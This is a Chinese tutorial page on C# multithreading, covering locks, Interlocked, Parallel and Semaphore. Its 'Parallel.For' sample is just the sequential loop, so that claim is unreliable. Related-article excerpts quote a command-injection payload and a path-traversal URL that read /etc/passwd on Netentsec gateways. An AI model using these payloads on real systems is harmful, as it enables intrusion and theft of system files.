C#多线程入门概念及技巧

C#多线程入门概念及技巧

  • 一、什么是线程
    • 1.1线程的概念
    • 1.2为什么要多线程
    • 1.3线程池
    • 1.4线程安全
      • 1.4.1同步机制
      • 1.4.2原子操作
    • 1.5线程安全示例
      • 1.5.1示例一
      • 1.5.2示例二
    • 1.6C#一些自带的方法实现并行
      • 1.6.1 Parallel——For、ForEach、Invoke
      • 1.6.1 PLINQ——AsParallel、AsSequential、AsOrdered
    • 1.7Semaphore

一、什么是线程

1.1线程的概念

  1. 线程是操作系统中能够独立运行的最小单位,也是程序中能够并发执行的一段指令序列
  2. 线程是进程的一部分,一个进程可以包括多个线程,这个线程可以共享进程的资源
  3. 进程有入口线程,也可用创建更多的线程

1.2为什么要多线程

  1. 批量重复任务希望同时进行
  2. 多个不同任务希望同时进行,并且互不干扰

1.3线程池

  1. 一组预先创建的线程,可以被重复使用来执行多个任务
  2. 避免频繁地创建和销毁线程,从而减少了现成创建和销毁的开销,提高了系统的性能和效率
  3. 异步编程默认使用线程池

1.4线程安全

多个线程访问共享资源时,对共享资源的访问不会导致数据不一致或不可预期的结果

1.4.1同步机制

  1. 用于协调和控制多个线程之间的执行顺序和互斥访问共享资源
  2. 确保线程按照特定的顺序执行,避免竞态条件和数据不一致的问题

1.4.2原子操作

  1. 在执行过程中不会被中断的操作,不可分割,要么完全执行,要么完全不执行,没有中间状态
  2. 在多线程环境下,原子操作能够保证数据的一致性和可靠性,避免出现竞太条件和数据竞争的问题

1.5线程安全示例

1.5.1示例一

两个线程对一个变量进行操作,每个线程都让count增加10000,代码如下:

namespace ThreadStudy
{
    class Thread_Lock
    {
        const int total = 100_000; 
        public static int count = 0;

        static void Main(string[] args)
        {
            Thread thread1 = new Thread(new ThreadStart(ThreadMethod));
            Thread thread2 = new Thread(new ThreadStart(ThreadMethod));
            thread1.Start();
            thread2.Start();
            thread1.Join();
            thread2.Join();
            Console.WriteLine($"Count:{count}");
        }

        public static void ThreadMethod()
        {
            for (int i = 0; i < total; i++)
                 count++;
        }
    }
}

输出结果确不为两万,并且每次都不一样:

在这里插入图片描述
这是因为线程一在访问并修改这个变量值的时候,另一个线程也在访问并修改这个值,这就会导致一个线程修改后的值被另一个线程修改后的值给覆盖,这个时候我们就需要加锁,修改后的代码如下:

    class Thread_Lock
    {
        const int total = 100_000; 
        public static int count = 0;
        public static object lockobjcet = new object();
        
        static void Main(string[] args)
        {
            Thread thread1 = new Thread(new ThreadStart(ThreadMethod));
            Thread thread2 = new Thread(new ThreadStart(ThreadMethod));
            thread1.Start();
            thread2.Start();
            thread1.Join();
            thread2.Join();
            Console.WriteLine($"Count:{count}");
        }

        public static void ThreadMethod()
        {
            for (int i = 0; i < total; i++)
            {
                lock (lockobjcet)
                count++;
                //这么写也可用 原子操作:
                //count++在底层可能经过了很多步才加一 这个过程中数据可能被其它线程更改
                //原子操作能一步完成,防止其它线程对变量进行更改
                //Interlocked.Increment(ref count);
            }
        }

    }

输出结果:
在这里插入图片描述

1.5.2示例二

正常结果是要输出0-19,不加锁的情况下就会输出一些无序数

public static Queue<int> queue = new Queue<int>();

        public static object lockObject = new object();

        static void Main(string[] args)
        {
            Thread producer = new Thread(new ThreadStart(AddNumber));
            Thread consumer1 = new Thread(new ThreadStart(WriteNumber));
            Thread consumer2 = new Thread(new ThreadStart(WriteNumber));
            producer.Start();
            consumer1.Start();
            consumer2.Start();
            producer.Join();
            consumer1.Interrupt();
            consumer2.Interrupt();
            consumer1.Join();
            consumer2.Join();
        }

        public static void AddNumber()
        {
            for (int i = 0; i < 20; i++)
            {
                Thread.Sleep(20);
                queue.Enqueue(i);
            }
        }

        public static void WriteNumber()
        {
            try
            {
                while (true)
                {
                    lock(lockObject)
                    if (queue.TryDequeue(out var res))
                    {
                        Console.WriteLine(res);
                        Thread.Sleep(1);
                    }
                }
            }
            catch (Exception)
            {
                Console.WriteLine("Thread interrupted");
            }
        }

输出结果:
在这里插入图片描述

1.6C#一些自带的方法实现并行

1.6.1 Parallel——For、ForEach、Invoke

正常For循环需要4s

class Program
    {
        static void Main(string[] args)
        {
            var sw = Stopwatch.StartNew();


            for (int i = 0; i < 20; i++)
            {
                Thread.Sleep(200);
                Console.WriteLine($"I:{i}");
            }

            Console.WriteLine($"Elapsed time: {sw.ElapsedMilliseconds}ms");
        }
    }

在这里插入图片描述
使用Parallel进行For循环:
效果提升近10倍,美滋滋

class Program
    {
        static void Main(string[] args)
        {
            var sw = Stopwatch.StartNew();
            for (int i = 0; i < 20; i++)
            {
                Thread.Sleep(200);
                Console.WriteLine($"I:{i}");
            }
            Console.WriteLine($"Elapsed time: {sw.ElapsedMilliseconds}ms");
        }
    }

在这里插入图片描述

1.6.1 PLINQ——AsParallel、AsSequential、AsOrdered

//ToDo 后续补充

1.7Semaphore

Semaphore可以控制线程开启的多少,比如Parallel.For开启了5个线程,而Semaphore定义只能开启三个,当有三个线程正在做时,那么其它的线程就不能够再做,Semaphore等待后要释放掉,最后面还需要Dispose,之前用Parallel在不控制线程的情况下需要400ms,现在控制线程数量,需要1400ms

        static void Main(string[] args)
        {
            var sw = Stopwatch.StartNew();
            //第一个参数 最开始有几个线程可以用 第二个参数 最多可以同时用几个线程
            var seamphore = new Semaphore(3, 3);

            Parallel.For(0, 20, i =>
            {
                seamphore.WaitOne();
                Thread.Sleep(200);
                Console.WriteLine($"I:{i}");
                seamphore.Release();
            });
            seamphore.Dispose();
            Console.WriteLine($"Elapsed time: {sw.ElapsedMilliseconds}ms");
        }

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/136313.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

关于DataLoader是否shuffle在VOC2007语义分割数据集上引发的问题

问题描述&#xff1a; 在训练过程中&#xff0c;训练集和验证集实时得到的F1分数相差很大&#xff0c;如下图&#xff1a; 这个问题之前从未遇到过&#xff0c;后来经过不断的排查&#xff0c;发现是因为验证集的数据加载器中shuffle设置的为False&#xff0c;而训练集设置的为…

python工具网康下一代防火墙RCE

python漏洞利用​ 构造payload POST /directdata/direct/router HTTP/1.1{"action":"SSLVPN_Resource","method":"deleteImage","data":[{"data":["/var/www/html/d.txt;cat /etc/passwd >/var/www/htm…

450. 删除二叉搜索树中的节点

题目描述 给定一个二叉搜索树的根节点 root 和一个值 key&#xff0c;删除二叉搜索树中的 key 对应的节点&#xff0c;并保证二叉搜索树的性质不变。返回二叉搜索树&#xff08;有可能被更新&#xff09;的根节点的引用。 一般来说&#xff0c;删除节点可分为两个步骤&#x…

antlr4踩坑记录

一. syntax error: ‘<’ came as a complete surprise to me while matching alternative 参考这个issue&#xff0c;antlr版本必须得是4.6 下载链接&#xff1a;http://www.antlr.org/download/antlr-4.6-complete.jar 二.org.antlr.v4.analysis.LeftRecursiveRuleTrans…

Ubuntu诞生已经19年了

导读2004 年 10 月 20 日&#xff0c;Ubuntu 4.10 正式发布&#xff0c;代号‘Warty Warthog’。 2004 年 10 月 20 日&#xff0c;Ubuntu 4.10 正式发布&#xff0c;代号‘Warty Warthog’。 ▲ Ubuntu 4.10 与最新版 Ubuntu 23.10 的对比 作为 Ubuntu 第一个版本&#xff0…

什么是微服务自动化测试?

什么是微服务&#xff1f; 微服务 - 也称为微服务架构 - 是一种构建方式&#xff0c;它将应用程序构建为松散耦合服务的集合&#xff0c;具有完整的业务功能。微服务架构允许连续交付/部署大型复杂应用程序。本文将概述自动微服务测试工具和最佳实践。 它还使组织能够发展其技…

Leetcode—剑指OfferII LCR 019.验证回文串II【简单】

2023每日刷题&#xff08;二十七&#xff09; Leetcode—剑指OfferII LCR 019.验证回文串II 实现代码 class Solution { public:bool judgeFunc(string s, int left, int right) {while(left < right) {if(s[left] ! s[right]) {return false;}left;right--;}return true;…

ssh开启,centOS7

1、先确定虚拟机是否装了openssh-server&#xff0c;执行 yum list installed |grep openssh-server 查看是否安装 [rootlocalhost ~]# yum list installed |grep openssh-server Repodata is over 2 weeks old. Install yum-cron? Or run: yum makecache fast openssh-serve…

快速查看Linux系统占用多的文件夹

背景 租用了一台云服务器&#xff0c;存储很快就满了&#xff0c;想看下哪部分占用多&#xff0c;然后进行清理 工具 使用ncdu工具 sudo apt install ncdu效果

Ubuntu查看Python某个包的具体路径

使用命令&#xff1a; python(版本号) -m pip show (包)这里的Location就是这个包所在的路径。同时它还列出了这个包的版本的信息。

网康NS-ASG安全网关任意文件读取

此文件没有对身份进行校验即可下载任意文件 构造payload访问漏洞url&#xff1a; ​​/admin/cert_download.php?filegjxbstxdt.txt&certfile../../../../../../../../etc/passwd漏洞证明&#xff1a; 文笔生疏&#xff0c;措辞浅薄&#xff0c;望各位大佬不吝赐教&…

Codeforces Round 908 (Div. 2)视频详解

Educational Codeforces Round 157 &#xff08;A--D&#xff09;视频详解 视频链接A题代码B题代码C题代码D题代码 视频链接 Codeforces Round 908 (Div. 2)视频详解 A题代码 #include<bits/stdc.h> #define endl \n #define deb(x) cout << #x << "…

【每日逆向】BUUCTF--[ACTF新生赛2020] easyre

拿到exe文件先查下信息&#xff0c;是一个32位程序&#xff0c;加了壳。 不会脱&#xff0c;直接拿到自动脱壳机潦草结束 看着有点乱&#xff0c;稍微改改 嗯&#xff0c;这样舒服多了。就是将V6扩展到18个字节大小&#xff0c;V5也扩展到12个字节大小&#xff0c;这样更符合源…

gpt支持json格式的数据返回(response_format: ‘json_object‘)

Api.h5.chatCreateChatCompletion({model: gpt-3.5-turbo-1106,token: sk-f4fe8b67-fcbe-46fd-8cc9-fd1dac5d6d59,messages: [{role: user,content:使用json格式返回十二生肖&#xff0c;包含中文名和英文名&#xff0c;[{id:"1", enName:"", cnName: &quo…

API 集成测试工具Hitchhiker 0.1.1 正式发布

Hitchhiker 是一款开源的 Restful Api 集成测试工具&#xff0c;你可以在轻松部署到本地&#xff0c;和你的 team 成员一起管理 Api。 能做什么 * Team 协作开发 Api * Api 历史修改记录及支持 diff 展示 * 支持多环境变量及运行时变量 * 支持 Schedule 及批量 run * 不同…

02:2440---时钟体系

目录 一:时钟控制 1:基本概念 2:时钟结构图 3:结构图分析 4:总线 5:寄存器 A:FCLK--MPLLCON B:HCLK和PCLK--CLKDIVN C:注意 二:上电复位 1:上电复位 2:时钟选择 三:代码 一:时钟控制 1:基本概念 S3C2440A中的时钟控制逻辑可以产生所需的时钟信号&#xff0c;包括C…

吃透 Spring 系列—AOP部分

目录 ◆ AOP 简介 - AOP的概念 - AOP思想的实现方案 - 模拟AOP的基础代码 - AOP相关概念 ◆ 基于xml配置的AOP - xml方式AOP快速入门 - xml方式AOP配置详解 - xml方式AOP原理剖析 ◆ 基于注解配置的AOP - 注解方式AOP基本使用 - 注解方式AOP配置详解 - 注解…

【算法练习Day46】判断子序列不同的子序列

​&#x1f4dd;个人主页&#xff1a;Sherry的成长之路 &#x1f3e0;学习社区&#xff1a;Sherry的成长之路&#xff08;个人社区&#xff09; &#x1f4d6;专栏链接&#xff1a;练题 &#x1f3af;长路漫漫浩浩&#xff0c;万事皆有期待 文章目录 判断子序列不同的子序列总结…

人机交互复习专题

第一章概述 1.1人机交互的概念与理解 人机交互的概念与理解 人机交互是人与机器进行交互的操作方式&#xff0c;即用户与机器互相传递信息的媒介。好的人机交互界面美观且通俗易懂、操作简单有引导功能&#xff0c;使用户感受到愉快、有兴趣&#xff0c;从而提升使用效率。 美…

mysql8安装和驱动jar包下载

方式一&#xff1a;基于docker安装 下拉镜像 docker pull mysql:8.0.21 启动镜像 docker run -p 3307:3306 --name mysql -e MYSQL_ROOT_PASSWORDhadoop -d mysql:8.0.21 启动成功后&#xff0c;进入容器内部拷贝配置文件&#xff0c;到宿主主机 docker cp mysql:/etc/mysql…